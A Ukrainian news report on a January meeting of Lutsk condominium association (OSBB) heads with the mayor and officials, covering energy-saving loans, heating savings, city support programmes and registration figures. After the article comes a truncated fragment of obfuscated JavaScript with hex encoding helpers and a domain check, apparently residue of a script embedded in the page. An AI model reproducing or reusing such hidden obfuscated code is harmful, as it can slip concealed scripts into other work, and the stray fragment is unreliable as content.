Голови об’єднань співвласників багатоквартирних будинків (ОСББ) Луцька звітували про роботу у 2015 році і вибудовували нові стратегії розвитку на 2016. Зустріч відбулася 21 січня у Палаці учнівської молоді.
До підбиття підсумків діяльності долучився міський голова Микола Романюк, перший заступник мера Тарас Яковлєв, голова ради голів ОСББ в Луцьку Роман Бондарук та експерт проекту IFC у Волинській області з питань енергозбереження Петро Лавринюк.
Микола Романюк подякував головам ОСББ за співпрацю. І хоч майбутнє міста мер бачить за ОСББ, допомагати все ж будуть усім лучанам, не залежно чи вони об’єдналися, чи ні. «На руці всі пальці однакові», – каже він.
Микола Романюк наголосив на тому, що до 1 липня мешканці багатоквартирних будинків мають вирішити: чи створити ОСББ, чи обрати управителя. На його думку, збільшення ОСББ у місті говорить про те, що люди задумуються над цим і не хочуть віддавати своє житло під керівництво призначених управителів.
Очільник міста запевнив присутніх у тому, що міська рада буде продовжувати роботу по підтримці ОСББ. Ініціюватиме надалі питання розвитку об’єднань і лобіювати їх на рівні держави.
Голова Асоціації «Лучани» Юлія Сабатюк навела приклади управління будинком зразкових луцьких ОСББ. Зокрема акцентувала увагу на енергозбереженні.
«На прикладі ОСББ «Явір 2011» (Ніла Хасевича, 6) можна побачити економію. Мешканці цього будинку за листопад за опалення заплатили 9,30 гривень за квадратний метр за тарифом міста 15,54 гривень. Різниця становить 6,24 гривень. А 3,50 – в них ремонтний фонд, – пояснила Юлія Сабатюк. Жодне ОСББ, яке брало кредит в банку, не стало платити більше», – додала вона.
Голова об’єднання «Барви» Надія Агафонівна, яка свого часу взяла перший в Україні кредит для ОСББ, теж поділилася досвідом будинку.
«Страшно було брати позику в банку. Але ми наважилися і взяли 320 тисяч гривень на 5 років. За період опалювального сезону 2015-2016 років ми вже зекономили будинком 90 тисяч гривень. За грудень будинок заплатив за опалення по 6 гривень за квадратний метр. А це – найменша сума серед усіх ОСББ у місті. Тому – робіть висновки і працюйте над енергозбереженням», – закликала вона інших голів.
Експерт з енергозбереження Петро Лавринюк закцентував свій виступ на економії коштів за рахунок розумного використання енергоресурсів.
«Єдиний спосіб зменшити витрати за комунальні послуги – консолідувати зусилля і спрямувати їх на модернізацію будинку. Впроваджувати енергоощадні заходи: від заміни освітлення на світлодіодне до встановлення індивідуального теплового пункту (ІТП) і утеплення будинку», – вважає експерт.
Про співпрацю міськради з головами ОСББ детальніше розповів перший заступник мера і куратор житлово-комунального господарства Луцька Тарас Яковлєв.
З його слів, першим кроком у співпраці стала прийнята у 2011 році програма «Сприяння діяльності об’єднань співвласників багатоквартирних будинків на території міста Луцька у 2012-2014 роках». Враховуючи позитивний досвід діяльності цієї програми, вже розроблена нова, яка буде діяти до 2019 року.
«Основним завданням нової програми є забезпечення умов створення сталого і ефективного функціонування ОСББ на території Луцька, також проведення капітальних ремонтів та впровадження енергоефективних заходів в об’єднаннях при залученні співфінансування у розмірі 30 % від власників багатоквартирних будинків. У 2015 році у цій програмі взяли участь 11 ОСББ. Є ще міська програма з відшкодування відсоткових ставок за залучені кредитні кошти. Вона діє з 2012 року. У 2015 році для відшкодування відсоткових ставок семи ОСББ з місцевого бюджету були залучені кошти на суму близько 300 тисяч гривень», – розповів Яковлєв.
«Міська рада планує і надалі розвивати цей напрям і готова до співпраці з кожним. Бо ефективність роботи співвласників, їхні методи, підходи до роботи – це найкращий на сьогодні спосіб управління будинком», – резюмував перший заступник.
Щодо статистики створення ОСББ, то у 2011 році їх у місті Луцьку було 81. У 2012 році зареєстровано ще 12, у 2013 – 12, 2014 – 20, 2015 – 53 ОСББ. Станом на сьогодні зареєстровано 193 ОСББ.
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "prostir.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
